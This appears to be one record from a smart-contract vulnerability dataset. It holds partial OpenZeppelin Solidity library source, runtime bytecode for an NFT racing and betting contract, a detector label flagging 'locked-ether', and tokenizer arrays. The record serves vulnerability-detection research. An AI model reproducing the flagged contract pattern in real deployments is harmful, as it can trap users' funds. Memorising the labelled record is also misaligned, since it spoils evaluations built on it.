0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint8 v = uint8((uint256(vs) >> 255) + 27); return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Message, created from `s`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x6080604052600436106101fe5760003560e01c8063902d55a51161011d578063b60c00e1116100b0578063bfc2b13d1161007f578063cce20feb11610064578063cce20feb14610583578063e5414d33146105a3578063f2fde38b146105d057600080fd5b8063bfc2b13d1461054e578063c97e73881461056357600080fd5b8063b60c00e1146104cd578063b8bf9779146104e0578063bc3d845314610500578063bf3683991461052057600080fd5b8063a1a4c78c116100ec578063a1a4c78c14610442578063ad3820df14610462578063af3f0fc114610478578063b224f1891461048d57600080fd5b8063902d55a5146103d65780639972923b146103ec5780639a043eea146104025780639dee93841461042257600080fd5b80635b932c36116101955780637895884a116101645780637895884a14610362578063834a35e7146103775780638da5cb5b1461038c5780638eb1e73d146103b457600080fd5b80635b932c36146103045780636929d1db1461031a5780636ffcc7191461033a578063715018a61461034d57600080fd5b806333092a75116101d157806333092a751461028e5780634542b232146102ae57806355750cc4146102ce578063577a8cd2146102ee57600080fd5b80631be4078d146102035780632c8b8f44146102365780632f1d5a60146102585780632fb828f714610278575b600080fd5b34801561020f57600080fd5b5061022361021e3660046127e7565b6105f0565b6040519081526020015b60405180910390f35b34801561024257600080fd5b506102566102513660046127e7565b610611565b005b34801561026457600080fd5b50610256610273366004612718565b610663565b34801561028457600080fd5b5061022360075481565b34801561029a57600080fd5b506102566102a9366004612800565b6106da565b3480156102ba57600080fd5b506102566102c93660046127e7565b610b58565b3480156102da57600080fd5b506102236102e93660046127e7565b610ba5565b3480156102fa57600080fd5b5061022360085481565b34801561031057600080fd5b5061022360065481565b34801561032657600080fd5b506102566103353660046127e7565b610bb5565b610256610348366004612956565b610c02565b34801561035957600080fd5b50610256610e74565b34801561036e57600080fd5b50600a54610223565b34801561038357600080fd5b50610256610ec8565b34801561039857600080fd5b506000546040516001600160a01b03909116815260200161022d565b3480156103c057600080fd5b506103c9610ff9565b60405161022d91906129b3565b3480156103e257600080fd5b506102236122b881565b3480156103f857600080fd5b506102236106f281565b34801561040e57600080fd5b5061022361041d3660046127e7565b611051565b34801561042e57600080fd5b5061025661043d3660046127e7565b611061565b34801561044e57600080fd5b5061025661045d3660046127c5565b6111c1565b34801561046e57600080fd5b5061022360055481565b34801561048457600080fd5b50610256611223565b34801561049957600080fd5b506104bd6104a83660046127e7565b60036020526000908152604090205460ff1681565b604051901515815260200161022d565b6102566104db366004612759565b61127f565b3480156104ec57600080fd5b506104bd6104fb3660046127e7565b61177e565b34801561050c57600080fd5b5061025661051b3660046127e7565b611858565b34801561052c57600080fd5b5061054061053b3660046127e7565b6118a5565b60405161022d9291906129c6565b34801561055a57600080fd5b50600954610223565b34801561056f57600080fd5b5061022361057e3660046127e7565b611db1565b34801561058f57600080fd5b5061022361059e3660046127e7565b611fc3565b3480156105af57600080fd5b506102236105be3660046127e7565b60026020526000908152604090205481565b3480156105dc57600080fd5b506102566105eb366004612718565b611fd3565b6009818154811061060057600080fd5b600091825260209091200154905081565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526020600482018190526024820152600080516020612b6283398151915260448201526064015b60405180910390fd5b600855565b6000546001600160a01b031633146106ab5760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b600d805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60045460ff161561072d5760405162461bcd60e51b815260206004820152601560248201527f537065726d2072616365206973206f6e676f696e6700000000000000000000006044820152606401610655565b610738600585612aca565b1561078f5760405162461bcd60e51b815260206004820152602160248201527f537570706c69656420656767546f6b656e4964206973206e6f7420616e2065676044820152606760f81b6064820152608401610655565b6001546040516331a9108f60e11b81526004810186905233916001600160a01b031690636352211e9060240160206040518083038186803b1580156107d357600080fd5b505afa1580156107e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080b919061273c565b6001600160a01b0316146108615760405162461bcd60e51b815260206004820152601860248201527f4e6f7420746865206f776e6572206f66207468652065676700000000000000006044820152606401610655565b60065482146108d85760405162461bcd60e51b815260206004820152602d60248201527f4d757374206272696e6720616c6f6e672074686520636f7272656374206e756d60448201527f626572206f6620737065726d73000000000000000000000000000000000000006064820152608401610655565b805182146109285760405162461bcd60e51b815260206004820181905260248201527f4561636820737065726d2072657175697265732061207369676e6174757265736044820152606401610655565b6109318461177e565b156109a45760405162461bcd60e51b815260206004820152602160248201527f45676720746f6b656e496420697320616c72656164792066657274696c697a6560448201527f64000000000000000000000000000000000000000000000000000000000000006064820152608401610655565b6109ad846120a0565b60005b82811015610b515760058484838181106109cc576109cc612b20565b905060200201356109dd9190612aca565b610a4f5760405162461bcd60e51b815260206004820152603860248201527f4f6e65206f72206d6f7265206f662074686520737570706c696564207370657260448201527f6d546f6b656e496473206973206e6f74206120737065726d00000000000000006064820152608401610655565b610a8a848483818110610a6457610a64612b20565b90506020020135838381518110610a7d57610a7d612b20565b602002602001015161210d565b610aab848483818110610a9f57610a9f612b20565b9050602002013561177e565b15610b1e5760405162461bcd60e51b815260206004820152603660248201527f4f6e65206f662074686520737065726d546f6b656e4964732068617320616c7260448201527f656164792066657274696c697a656420616e20656767000000000000000000006064820152608401610655565b610b3f848483818110610b3357610b33612b20565b905060200201356120a0565b80610b4981612aaf565b9150506109b0565b5050505050565b6000546001600160a01b03163314610ba05760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b600555565b600b818154811061060057600080fd5b6000546001600160a01b03163314610bfd5760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b600755565b60045460ff161580610c145750600a54155b610c605760405162461bcd60e51b815260206004820152601b60248201527f5261636520697320616c726561647920696e2070726f677265737300000000006044820152606401610655565b600854341015610cb25760405162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e742066656520746f20706c616365206265740000006044820152606401610655565b6001546040516331a9108f60e11b81526004810184905233916001600160a01b031690636352211e9060240160206040518083038186803b158015610cf657600080fd5b505afa158015610d0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2e919061273c565b6001600160a01b031614610d845760405162461bcd60e51b815260206004820152601860248201527f4e6f7420746865206f776e6572206f66207468652065676700000000000000006044820152606401610655565b610d8f600583612aca565b15610de65760405162461bcd60e51b815260206004820152602160248201527f537570706c69656420656767546f6b656e4964206973206e6f7420616e2065676044820152606760f81b6064820152608401610655565b610df1600582612aca565b610e625760405162461bcd60e51b8152602060048201526024808201527f537570706c69656420737065726d546f6b656e4964206973206e6f742061207360448201527f7065726d000000000000000000000000000000000000000000000000000000006064820152608401610655565b60009182526002602052604090912055565b6000546001600160a01b03163314610ebc5760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b610ec66000612190565b565b6000546001600160a01b03163314610f105760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b60045460ff1615610f635760405162461bcd60e51b815260206004820152601560248201527f537065726d2072616365206973206f6e676f696e6700000000000000000000006044820152606401610655565b610f6f60096000612655565b610f7b600a6000612655565b610f87600b6000612655565b610f956101006106f2612a84565b610fa0906001612a6c565b67ffffffffffffffff811115610fb857610fb8612b36565b604051908082528060200260200182016040528015610fe1578160200160208202803683370190505b508051610ff691600c91602090910190612673565b50565b6060600980548060200260200160405190810160405280929190818152602001828054801561104757602002820191906000526020600020905b815481526020019060010190808311611033575b5050505050905090565b600c818154811061060057600080fd5b6000546001600160a01b031633146110a95760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b60045460ff166111215760405162461bcd60e51b815260206004820152602560248201527f5261636573206d75737420626520696e2070726f677265737320746f2070726f60448201527f67726573730000000000000000000000000000000000000000000000000000006064820152608401610655565b600954600090611130906121ed565b905060005b828110156111bc57600a8054600181810190925560089390931c7fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a8909301839055600954600b805492830181556000527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db990910155806111b481612aaf565b915050611135565b505050565b6000546001600160a01b031633146112095760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b600480549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461126b5760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b6004805460ff19811660ff90911615179055565b600554600954849190611293908390612a6c565b11156113075760405162461bcd60e51b815260206004820152603160248201527f52616365207061727469636970616e747320686173207265616368656420746860448201527f65206d6178696d756d20616c6c6f7765640000000000000000000000000000006064820152608401610655565b84848484600460019054906101000a900460ff16156114a8578281146113955760405162461bcd60e51b815260206004820152603260248201527f4e756d626572206f66207369676e617475726573206d757374206d617463682060448201527f6e756d626572206f6620746f6b656e49647300000000000000000000000000006064820152608401610655565b60005b838110156114a65760008585838181106113b4576113b4612b20565b905060200201356040516020016113cd91815260200190565b604051602081830303815290604052805190602001209050611447818585858181106113fb576113fb612b20565b905060200281019061140d91906129f4565b8080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061224c92505050565b6114935760405162461bcd60e51b815260206004820152601160248201527f496e76616c6964207369676e61747572650000000000000000000000000000006044820152606401610655565b508061149e81612aaf565b915050611398565b505b60045460ff166114fa5760405162461bcd60e51b815260206004820152601d60248201527f537065726d2072616365206973206e6f7420696e2070726f67726573730000006044820152606401610655565b6007543410156115725760405162461bcd60e51b815260206004820152602760248201527f496e73756666696369656e742066656520737570706c69656420746f20656e7460448201527f65722072616365000000000000000000000000000000000000000000000000006064820152608401610655565b60005b888110156117725760058a8a8381811061159157611591612b20565b905060200201356115a29190612aca565b6116145760405162461bcd60e51b815260206004820152602b60248201527f4f6e65206f662074686520737570706c69656420746f6b656e4964732069732060448201527f6e6f74206120737065726d0000000000000000000000000000000000000000006064820152608401610655565b60015433906001600160a01b0316636352211e8c8c8581811061163957611639612b20565b905060200201356040518263ffffffff1660e01b815260040161165e91815260200190565b60206040518083038186803b15801561167657600080fd5b505afa15801561168a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ae919061273c565b6001600160a01b03161461172a5760405162461bcd60e51b815260206004820152603560248201527f4e6f7420746865206f776e6572206f66206f6e65206f72206d6f7265206f662060448201527f74686520737570706c69656420746f6b656e49647300000000000000000000006064820152608401610655565b60098a8a8381811061173e5761173e612b20565b835460018101855560009485526020948590209190940292909201359190920155508061176a81612aaf565b915050611575565b50505050505050505050565b600080600c8054806020026020016040519081016040528092919081815260200182805480156117cd57602002820191906000526020600020905b8154815260200190600101908083116117b9575b505050505090506000610100846117e49190612a84565b905060008282815181106117fa576117fa612b20565b602002602001015190507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81141561183757506001949350505050565b600061184561010087612aca565b6001901b91909116151595945050505050565b6000546001600160a01b031633146118a05760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b600655565b6060806000600b84815481106118bd576118bd612b20565b906000526020600020015467ffffffffffffffff8111156118e0576118e0612b36565b604051908082528060200260200182016040528015611909578160200160208202803683370190505b5090506000600b858154811061192157611921612b20565b906000526020600020015467ffffffffffffffff81111561194457611944612b36565b60405190808252806020026020018201604052801561196d578160200160208202803683370190505b50604080516122b88082526204572082019092529192506000919060208201620457008036833701905050905060005b600b87815481106119b0576119b0612b20565b9060005260206000200154811015611a7057600981815481106119d5576119d5612b20565b90600052602060002001548482815181106119f2576119f2612b20565b602002602001018181525050611a2460098281548110611a1457611a14612b20565b9060005260206000200154611db1565b8260098381548110611a3857611a38612b20565b906000526020600020015481518110611a5357611a53612b20565b602090810291909101015280611a6881612aaf565b91505061199d565b5060005b600b8781548110611a8757611a87612b20565b9060005260206000200154811015611bee57600081600b8981548110611aaf57611aaf612b20565b9060005260206000200154611ac49190612a98565b600a8981548110611ad757611ad7612b20565b9060005260206000200154611aec9190612aca565b90506000858281518110611b0257611b02612b20565b602002602001015190506000858381518110611b2057611b20612b20565b60200260200101519050868481518110611b3c57611b3c612b20565b6020026020010151878481518110611b5657611b56612b20565b60200260200101818152505081878581518110611b7557611b75612b20565b602002602001018181525050858481518110611b9357611b93612b20565b6020026020010151868481518110611bad57611bad612b20565b60200260200101818152505080868581518110611bcc57611bcc612b20565b6020026020010181815250505050508080611be690612aaf565b915050611a74565b5060005b600b8781548110611c0557611c05612b20565b9060005260206000200154811015611da5576001600b8881548110611c2c57611c2c612b20565b9060005260206000200154611c419190612a98565b811415611c7757828181518110611c5a57611c5a612b20565b602002602001018051809190611c6f90612aaf565b905250611d93565b600082858381518110611c8c57611c8c612b20565b602002602001015181518110611ca457611ca4612b20565b6020026020010151905060008386846001611cbf9190612a6c565b81518110611ccf57611ccf612b20565b602002602001015181518110611ce757611ce7612b20565b60200260200101519050818183611cfe9190612a6c565b600a8b81548110611d1157611d11612b20565b9060005260206000200154611d269190612aca565b1015611d5b57848381518110611d3e57611d3e612b20565b602002602001018051809190611d5390612aaf565b905250611d90565b84611d67846001612a6c565b81518110611d7757611d77612b20565b602002602001018051809190611d8c90612aaf565b9052505b50505b611d9e816002612a6c565b9050611bf2565b50919590945092505050565b6000816101991480611dc457508161056a145b80611dd05750816105db145b80611ddc575081610614145b80611de85750816107b3145b80611df4575081610a01145b80611e00575081610f38145b80611e0c57508161126f145b80611e1857508161179c145b80611e24575081611acd145b80611e3057508161209c145b80611e3c57508161212d145b15611e495750600c919050565b60408051602080820185905262010f2c8284018190527f495100000000000000000000000000000000000000000000000000000000000060608401528351604281850301815260629093019093528151910120600090611eab90600490612aca565b611eb6906001612a6c565b9050600060048584604051602001611efe92919091825260208201527f5370656564000000000000000000000000000000000000000000000000000000604082015260450190565b6040516020818303038152906040528051906020012060001c611f219190612aca565b611f2c906001612a6c565b9050600060048685604051602001611f7492919091825260208201527f537472656e677468000000000000000000000000000000000000000000000000604082015260480190565b6040516020818303038152906040528051906020012060001c611f979190612aca565b611fa2906001612a6c565b905080611faf8385612a6c565b611fb99190612a6c565b9695505050505050565b600a818154811061060057600080fd5b6000546001600160a01b0316331461201b5760405162461bcd60e51b81526020600482018190526024820152600080516020612b628339815191526044820152606401610655565b6001600160a01b0381166120975760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610655565b610ff681612190565b600c60006120b061010084612a84565b905060008282815481106120c6576120c6612b20565b600091825260208220015491506120df61010086612aca565b9050806001901b82178484815481106120fa576120fa612b20565b6000918252602090912001555050505050565b60008260405160200161212291815260200190565b604051602081830303815290604052805190602001209050612144818361224c565b6111bc5760405162461bcd60e51b815260206004820152601160248201527f496e76616c6964207369676e61747572650000000000000000000000000000006044820152606401610655565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000326121fb600143612a98565b60405160609290921b6bffffffffffffffffffffffff191660208301524060348201524260548201526074810183905260940160408051601f19818403018152919052805160209091012092915050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c81018390526000908190605c0160408051601f198184030181529190528051602090910120600d549091506001600160a01b03166122b582856122c7565b6001600160a01b031614949350505050565b60008060006122d685856122eb565b915091506122e38161235b565b509392505050565b6000808251604114156123225760208301516040840151606085015160001a61231687828585612516565b94509450505050612354565b82516040141561234c5760208301516040840151612341868383612603565b935093505050612354565b506000905060025b9250929050565b600081600481111561236f5761236f612b0a565b14156123785750565b600181600481111561238c5761238c612b0a565b14156123da5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610655565b60028160048111156123ee576123ee612b0a565b141561243c5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610655565b600381600481111561245057612450612b0a565b14156124a95760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610655565b60048160048111156124bd576124bd612b0a565b1415610ff65760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610655565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561254d57506000905060036125fa565b8460ff16601b1415801561256557508460ff16601c14155b1561257657506000905060046125fa565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156125ca573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166125f3576000600192509250506125fa565b9150600090505b94509492505050565b6000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff83168161263960ff86901c601b612a6c565b905061264787828885612516565b935093505050935093915050565b5080546000825590600052602060002090810190610ff691906126be565b8280548282559060005260206000209081019282156126ae579160200282015b828111156126ae578251825591602001919060010190612693565b506126ba9291506126be565b5090565b5b808211156126ba57600081556001016126bf565b60008083601f8401126126e557600080fd5b50813567ffffffffffffffff8111156126fd57600080fd5b6020830191508360208260051b850101111561235457600080fd5b60006020828403121561272a57600080fd5b813561273581612b4c565b9392505050565b60006020828403121561274e57600080fd5b815161273581612b4c565b6000806000806040858703121561276f57600080fd5b843567ffffffffffffffff8082111561278757600080fd5b612793888389016126d3565b909650945060208701359150808211156127ac57600080fd5b506127b9878288016126d3565b95989497509550505050565b6000602082840312156127d757600080fd5b8135801515811461273557600080fd5b6000602082840312156127f957600080fd5b5035919050565b6000806000806060858703121561281657600080fd5b84359350602085013567ffffffffffffffff8082111561283557600080fd5b612841888389016126d3565b9095509350604087013591508082111561285a57600080fd5b818701915087601f83011261286e57600080fd5b81358181111561288057612880612b36565b61288f60208260051b01612a3b565b80828252602082019150602085018b60208560051b88010111156128b257600080fd5b60005b848110156129435785823511156128cb57600080fd5b813587018d603f8201126128de57600080fd5b6020810135878111156128f3576128f3612b36565b612906601f8201601f1916602001612a3b565b8181528f604083850101111561291b57600080fd5b81604084016020830137600060209282018301528652948501949290920191506001016128b5565b5050809550505050505092959194509250565b6000806040838503121561296957600080fd5b50508035926020909101359150565b600081518084526020808501945080840160005b838110156129a85781518752958201959082019060010161298c565b509495945050505050565b6020815260006127356020830184612978565b6040815260006129d96040830185612978565b82810360208401526129eb8185612978565b95945050505050565b6000808335601e19843603018112612a0b57600080fd5b83018035915067ffffffffffffffff821115612a2657600080fd5b60200191503681900382131561235457600080fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612a6457612a64612b36565b604052919050565b60008219821115612a7f57612a7f612ade565b500190565b600082612a9357612a93612af4565b500490565b600082821015612aaa57612aaa612ade565b500390565b6000600019821415612ac357612ac3612ade565b5060010190565b600082612ad957612ad9612af4565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610ff657600080fdfe4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220e505ad6a3491d88ba9e4990c305473a19794834da06a3b2a689ba82c6828f81b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 28311, 14141, 14141, 2497, 24096, 11057, 2063, 2575, 2620, 2620, 2050, 2581, 2098, 2509, 2063, 22932, 16086, 24087, 2683, 2581, 21472, 4215, 2620, 10790, 2050, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 29464, 11890, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 14925, 5104, 2050, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 18047, 22903, 2003, 2219, 3085, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,364
0x96a5FDbf2718526bd686286c85736C6ed9372914
